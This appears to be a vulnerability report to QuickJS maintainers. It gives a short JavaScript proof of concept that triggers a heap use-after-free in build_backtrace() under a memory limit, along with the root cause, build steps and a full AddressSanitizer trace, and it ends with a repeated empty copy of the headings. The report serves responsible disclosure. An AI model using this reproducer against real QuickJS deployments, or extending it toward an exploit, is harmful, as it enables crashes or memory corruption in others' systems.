Hi,
Please find the PoC and root cause of the issue below.
Proof of concept:
// Reproducer for a QuickJS build_backtrace() use-after-free under ASan.
// Root cause: build_backtrace() receives rt->current_exception as a borrowed
// error_val. While formatting the stack, dbuf_printf() allocates through
// js_dbuf_realloc(). Under the memory limit that allocation can throw OOM via
// JS_ThrowInternalError(), and JS_Throw() frees the previous current_exception.
// build_backtrace() then continues using the now-freed error_val.
//
// Run with an ASan qjs binary:
// ./build/qjs -C --memory-limit 4m poc-backtrace-uaf.js
var longName = "A".repeat(2 * 1024 * 1024);
function trigger_reference_error() {
missing_identifier;
}
Object.defineProperty(trigger_reference_error, "name", {
value: longName
});
trigger_reference_error();
Reproduction:
Reproduced on macOS using build from commit - a653771 (Wed May 13 05:28:07 2026):
sw_vers
ProductName: macOS
ProductVersion: 26.4.1
BuildVersion: 25E253
mkdir build
cd build
cmake .. -DQJS_ENABLE_ASAN=1
make
./qjs -C --memory-limit 4m ./poc-backtrace-uaf.js
=================================================================
==66135==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000005576 at pc 0x000104fbb544 bp 0x00016aea2a10 sp 0x00016aea2a08
READ of size 2 at 0x607000005576 thread T0
#0 0x000104fbb540 in build_backtrace+0x2420 (qjs:arm64+0x100063540)
#1 0x000104fef1d8 in JS_CallInternal+0x19084 (qjs:arm64+0x1000971d8)
#2 0x000104fdec84 in JS_CallInternal+0x8b30 (qjs:arm64+0x100086c84)
#3 0x000104fff644 in JS_EvalFunctionInternal+0x130 (qjs:arm64+0x1000a7644)
#4 0x00010501d7d8 in __JS_EvalInternal+0x1528 (qjs:arm64+0x1000c57d8)
#5 0x000105000358 in JS_EvalThis2+0x1f8 (qjs:arm64+0x1000a8358)
#6 0x000105000758 in JS_Eval+0x120 (qjs:arm64+0x1000a8758)
#7 0x000104f5afd8 in eval_buf+0x98 (qjs:arm64+0x100002fd8)
#8 0x000104f5b1c4 in eval_file+0x128 (qjs:arm64+0x1000031c4)
#9 0x000104f5a378 in main+0x1220 (qjs:arm64+0x100002378)
#10 0x00018277bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x607000005576 is located 6 bytes inside of 72-byte region [0x607000005570,0x6070000055b8)
freed by thread T0 here:
#0 0x0001058b9258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
#1 0x000104faf088 in js_free_value_rt+0x140 (qjs:arm64+0x100057088)
#2 0x000104fbc218 in JS_ThrowInternalError+0x2b0 (qjs:arm64+0x100064218)
#3 0x0001050734dc in js_dbuf_realloc+0xb8 (qjs:arm64+0x10011b4dc)
#4 0x000105037f28 in dbuf_printf+0x224 (qjs:arm64+0x1000dff28)
#5 0x000104fba7f0 in build_backtrace+0x16d0 (qjs:arm64+0x1000627f0)
#6 0x000104fef1d8 in JS_CallInternal+0x19084 (qjs:arm64+0x1000971d8)
#7 0x000104fdec84 in JS_CallInternal+0x8b30 (qjs:arm64+0x100086c84)
#8 0x000104fff644 in JS_EvalFunctionInternal+0x130 (qjs:arm64+0x1000a7644)
#9 0x00010501d7d8 in __JS_EvalInternal+0x1528 (qjs:arm64+0x1000c57d8)
#10 0x000105000358 in JS_EvalThis2+0x1f8 (qjs:arm64+0x1000a8358)
#11 0x000105000758 in JS_Eval+0x120 (qjs:arm64+0x1000a8758)
#12 0x000104f5afd8 in eval_buf+0x98 (qjs:arm64+0x100002fd8)
#13 0x000104f5b1c4 in eval_file+0x128 (qjs:arm64+0x1000031c4)
#14 0x000104f5a378 in main+0x1220 (qjs:arm64+0x100002378)
#15 0x00018277bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x0001058b9164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x000104fa87c4 in JS_NewObjectFromShape+0x11c (qjs:arm64+0x1000507c4)
#2 0x000105038a78 in JS_MakeError2+0x324 (qjs:arm64+0x1000e0a78)
#3 0x000104fbd08c in JS_ThrowReferenceError+0x218 (qjs:arm64+0x10006508c)
#4 0x00010503a438 in JS_ThrowReferenceErrorNotDefined+0xf4 (qjs:arm64+0x1000e2438)
#5 0x000104fc0748 in JS_GetPropertyInternal+0x8d8 (qjs:arm64+0x100068748)
#6 0x000104fe73f0 in JS_CallInternal+0x1129c (qjs:arm64+0x10008f3f0)
#7 0x000104fdec84 in JS_CallInternal+0x8b30 (qjs:arm64+0x100086c84)
#8 0x000104fff644 in JS_EvalFunctionInternal+0x130 (qjs:arm64+0x1000a7644)
#9 0x00010501d7d8 in __JS_EvalInternal+0x1528 (qjs:arm64+0x1000c57d8)
#10 0x000105000358 in JS_EvalThis2+0x1f8 (qjs:arm64+0x1000a8358)
#11 0x000105000758 in JS_Eval+0x120 (qjs:arm64+0x1000a8758)
#12 0x000104f5afd8 in eval_buf+0x98 (qjs:arm64+0x100002fd8)
#13 0x000104f5b1c4 in eval_file+0x128 (qjs:arm64+0x1000031c4)
#14 0x000104f5a378 in main+0x1220 (qjs:arm64+0x100002378)
#15 0x00018277bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free (qjs:arm64+0x100063540) in build_backtrace+0x2420
Shadow bytes around the buggy address:
0x607000005280: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
0x607000005300: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x607000005380: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 fa
0x607000005400: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x607000005480: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
=>0x607000005500: fd fd fd fd fd fd fd fd fd fa fa fa fa fa[fd]fd
0x607000005580: fd fd fd fd fd fd fd fa fa fa fa fa 00 00 00 00
0x607000005600: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa
0x607000005680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x607000005700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x607000005780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==66135==ABORTING
Cheers,
Mateusz
Hi,
Please find the PoC and root cause of the issue below.
Proof of concept:
Reproduction:
Reproduced on macOS using build from commit - a653771 (Wed May 13 05:28:07 2026):
Cheers,
Mateusz